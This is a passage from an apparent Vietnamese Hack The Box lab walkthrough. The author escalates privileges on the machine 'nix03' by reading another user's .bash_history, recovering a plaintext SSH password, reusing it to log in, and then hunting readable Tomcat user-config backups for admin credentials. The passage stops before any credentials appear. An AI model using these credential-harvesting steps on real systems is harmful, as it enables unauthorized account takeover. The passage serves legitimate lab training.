htb-student@nix03:~$ ls -l /home/barry/flag2.txt -rwx------ 1 barry barry 29 Sep 5 2020 /home/barry/flag2.txt
Muốn đọc được flag 2 thì chỉ có thể leo quyền lên tài khoản barry hoặc root.
Kiểm tra thư mục /home của barry :
1 2 3 4 5 6 7 8 9 10 11 12
htb-student@nix03:~$ ls -la /home/barry/ total 40 drwxr-xr-x 5 barry barry 4096 Sep 5 2020 . drwxr-xr-x 5 root root 4096 Sep 6 2020 .. -rwxr-xr-x 1 barry barry 360 Sep 6 2020 .bash_history -rw-r--r-- 1 barry barry 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 barry barry 3771 Feb 25 2020 .bashrc drwx------ 2 barry barry 4096 Sep 5 2020 .cache -rwx------ 1 barry barry 29 Sep 5 2020 flag2.txt drwxrwxr-x 3 barry barry 4096 Sep 5 2020 .local -rw-r--r-- 1 barry barry 807 Feb 25 2020 .profile drwx------ 2 barry barry 4096 Sep 5 2020 .ssh
Check thấy có thể đọc file .bash_history , .bash_logout ,.bashrc ,.local , .profile , và khi đọc file .bash_history ta tìm đc cred login ssh của barry :
htb-student@nix03:~$ cat /home/barry/.bash_history cd /home/barry ls id ssh-keygen mysql -u root -p tmux new -s barry cd ~ sshpass -p 'i_l0ve_s3cur1ty!' ssh barry_adm@dmz1.inlanefreight.local history -d 6 history history -d 12 history cd /home/bash cd /home/barry/ nano .bash_history history exit history exit ls -la ls -l history history -d 21 history exit id ls /var/log history history -d 28 history exit
Thử ssh với cred đó nhưng không được,thử lại với account barry và pass i_l0ve_s3cur1ty! ta đã login được với account barry và lấy flag 2:
Kiểm tra các cổng mạng đang mở và các tiến trình đang lắng nghe trên các cổng đó:\
1 2 3 4 5 6 7 8 9 10 11 12 13 14
barry@nix03:~$ netstat -tulnp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::33060 :::* LISTEN - tcp6 0 0 :::8080 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* - udp 0 0 10.129.98.92:68 0.0.0.0:*
Ta thấy có port 3306 là cổng mặc định của MySQL, port 80 và port 8080. Truy cập <ip>:8080 bằng browser ta phát hiện tomcat đang chạy:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
It works ! If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!
This is the default Tomcat home page. It can be found on the local filesystem at: /var/lib/tomcat9/webapps/ROOT/index.html
Tomcat veterans might be pleased to learn that this system instance of Tomcat is installed with CATALINA_HOME in /usr/share/tomcat9 and CATALINA_BASE in /var/lib/tomcat9, following the rules from /usr/share/doc/tomcat9-common/RUNNING.txt.gz.
You might consider installing the following packages, if you haven't already done so:
tomcat9-docs: This package installs a web application that allows to browse the Tomcat 9 documentation locally. Once installed, you can access it by clicking here.
tomcat9-examples: This package installs a web application that allows to access the Tomcat 9 Servlet and JSP examples. Once installed, you can access it by clicking here.
tomcat9-admin: This package installs two web applications that can help managing this Tomcat instance. Once installed, you can access the manager webapp and the host-manager webapp.
NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". Users are defined in /etc/tomcat9/tomcat-users.xml.
Thử kiểm tra /etc/tomcat9/tomcat-users.xml thì không có quyền đọc:
Sau khi check thì ta chỉ có thể đọc file /var/lib/ucf/cache/:etc:tomcat9:tomcat-users.xml và tomcat-users.xml.bak và /usr/share/tomcat9/etc/tomcat-users.xml.
Kiểm tra nội dung 2 file ta phát hiện account admin :